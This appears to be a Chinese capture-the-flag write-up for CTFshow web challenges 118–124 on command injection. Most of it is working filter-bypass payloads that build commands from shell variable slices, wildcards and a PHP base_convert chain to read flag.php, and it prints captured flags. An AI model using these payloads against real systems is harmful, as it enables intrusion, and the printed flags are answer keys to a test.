CTFshow web入门 web118------- web124命令执行wp

web118

打开是一个输入框

先尝试哪些字符会被过滤,输入小写字母、数字、!等会回显evil input

而大写字母、{}、?等不会被过滤

查看网页源代码,system($code)   输入值赋值给code,然后放入system中

想要输入nl flag.php,但是字母都被过滤了

${PATH:~A}    代表路径变量的最后一位,一般是n

${PWD:~A}    代表根目录的最后一位,网站的默认根目录是/var/www/html ,最后一位是l

所以二者合起来就是nl    而flag.php用????.???代替,中间的空格使用${IFS}

${PATH:~A}${PWD:~A}${IFS}????.???

得到回显  3?>,查看源代码得到flag


web119

使用上一题的${PATH:~A}${PWD:~A}${IFS}????.???,得到的是evil input

依次截取其部分输入,尝试多次后发现是PATH被过滤了,而PWD没有。

想执行/bin/cat falg.php  这个命令,使用网站的PWD  var/www/html   来进行替换

${#}=0

${#SHLVL}=${##=${#?}=1

${SHLVL}=2 

${#IFS}=3

对/var/www/html切片,获取PWD的部分字符组成命令   

{${PWD}:从第几个字符开始:保留几个字符}

${PWD:${#}:${##}} = {${PWD}:0:1} = /

${PWD:${SHLVL}:${#SHLVL}} = ${PWD:2:1} = a

${PWD:~${SHLVL}:${#SHLVL}} = ${PWD:-2:1} = t

${PWD:${#}:${##}}???         // 表示  /bin

${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}  //表示 /c?t

$IFS????.???         // 空格 flag,php

输入:

${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS????.???

查看源代码,得到flag 



 web120

这些被禁用,只能还是尝试上一题的方法

POST传参输入

code=${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS????.???

显示太长了,只能缩短传入值

/bin/cat flag.php

code=${PWD::${##}}???${PWD::${##}}??${PWD:~${SHLVL}:${##}} ????.???

//表示 /???/c?? flag.php,将t替换成?,使输入值变短

查看源代码,得到flag


web121

 shlvl被禁用了,上一题的payload没法用了,也就是cat不能使用了

 /var/www/html      想使用tac   t 也需要用到shlvl。

尝试使用/bin/rev读取,rev命令可以实现文件内容的反序显示,并且其中的v正好在PWD的第一个,不会导致输入值过长。

code=${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}}${IFS}????.???

//code=/???/??v ????.???

 得到反序显示,再反转过来即可

ctfshow{3e11dbf3-aa67-4d50-a509-75d4fc54da3b} 


web122

PWD被禁用,USER(${USER}=www-data)也被禁用。   /bin/cat   /bin/rev 不能使用了

可以执行/bin/base64 flag.php 的命令         /???/?????4 ????.???

只能使用HOME       ${HOME}=/home/

利用home切片 得到/

${HOME::1}       1被过滤 ${SHLVL}也被过滤。

可以使用  两条命令,前一条命令错误执行会得到非0,然后传入后一条命令

<A;${HOME::$?}       

<A:<表示将内容传进文件,由于A不存在,所以这条命令是错误的,然后1被传入$?中

4:${RANDOM::1}  RANDOM函数输出随机的整数,1表示输出一个整数,而1被过滤,使用$?即可

将以上结合,得到payload:

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

 需要多刷新几次,因为random是随机产生整数

得到以下base64编码:

PD9waHAKJGZsYWc9ImN0ZnNob3d7MDg1YjNiZDYtMzYyMC00YWI4LWFhZjctMjZmOTUyNzFiOWM2 fSI7Cj8+  fSI7Cj8+

使用网站base64解码即可


web124

审计代码,长度不能超过80,过滤了一些数字函数以及符号等。数字没有被过滤,只能通过数字和白名单构成命令进行执行。

想要绕过对输入长度的限制,可以再次使用_GET[]来绕过,传入system  ls

c=$_GET[abs]($_GET[acos]);&abs=system&acos=ls   //表示的是system(ls)

[]被过滤,可以使用{}替换

c=$_GET{a}($_GET{b});&a=system&b=ls   //表示的是system(ls)

但是_GET被过滤,使用其ascii值转为_GET

_GET:

转成十六进制是0x5f474554,由于其中还是包含字母,再由十六进制转为十进制1598506324。

dechex():十进制转十六进制
hex2bin():十六进制转二进制,返回 ASCII 字符

_GET=hex2bin(dechex(1598506324))

但是hex2bin被过滤,使用base_convert()进行进制转换,将其转换为数字

base_convert(number,frombase,tobase):可以在任意进制之间转换数字

base_convert(‘hex2bin’,36,10)=37907361743

base_convert(37907361743,10,36)=hex2bin

在白名单中选择最短的pi当_GET参数 

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls

得到文件名 

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php

 

  • 9
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值